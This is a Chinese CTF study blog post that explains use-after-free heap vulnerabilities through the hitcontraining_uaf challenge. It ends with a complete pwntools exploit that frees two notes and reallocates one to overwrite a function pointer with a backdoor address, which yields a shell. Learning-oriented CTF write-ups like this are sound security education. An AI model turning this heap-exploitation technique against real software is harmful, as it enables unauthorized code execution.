pwn-UAF漏洞

知识点

学到这里感觉学的很乱,感觉什么都要去了解,但是什么都不是很了解,可能学到后面的点把这些知识点串起来就好了吧。

UAF

use after free顾名思义就是在这个chunk被free后面进行利用

当一个chunk被free后,这个函数内部的数据不会马上清除,这些数据会被保留在原来的位置,然后这个chunk会被标记为free后,并且会根据chunk的大小被分到不同的bin中去,有(fastbin,unsorted bin,large bin…)这些bin就是以链表的形势把这些free后chunk链在一起

例题

下面以buu上面的hitcontraining_uaf进行说明

这个题目应该在glibc2.23环境中运行,但是这个题目大部分环境都可以打,就没改了

检查保护

请添加图片描述

ida打开

请添加图片描述

函数运行的时候会进行菜单选择

请添加图片描述

这里的delete函数中
请添加图片描述

这里可以看到free掉函数后面没有把函数的指针置零

因此这里存在漏洞

同时这个题目存在后门函数

请添加图片描述

先申请两个堆块

请添加图片描述
请添加图片描述

这个时候再free掉
请添加图片描述

请添加图片描述

free后面的bin

请添加图片描述

这个时候我们add(0x10,magic_addr)

请添加图片描述

因为在printf函数中是先申请note_list中的地址,在fastbin中(tcachebins)中也差不多,有着先进后出的规则,又因为bin中会把大小相似的的chunk再次申请,因此在chunk0的notelist是chunk2的notechunk(可以写入),所以我们调用chunk0中的printf函数就是调用了后门函数

exp

from pwn import*
r=process('./pwn')
gdb.attach(r)
pause()
def add(size,content):
  r.sendlineafter('choice :','1')
  r.sendlineafter('Note size :',str(size))
  r.sendlineafter('Content :',content)

def delete(idx):
  r.sendlineafter('choice :','2')
  r.sendlineafter('Index :',str(idx))

def printf(idx):
  r.sendlineafter('choice :','3')
  r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945

add(48,'aaaa')
add(48,'bbbb')

delete(0)
delete(1)
add(8,p32(shell_addr))
printf(0)

r.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值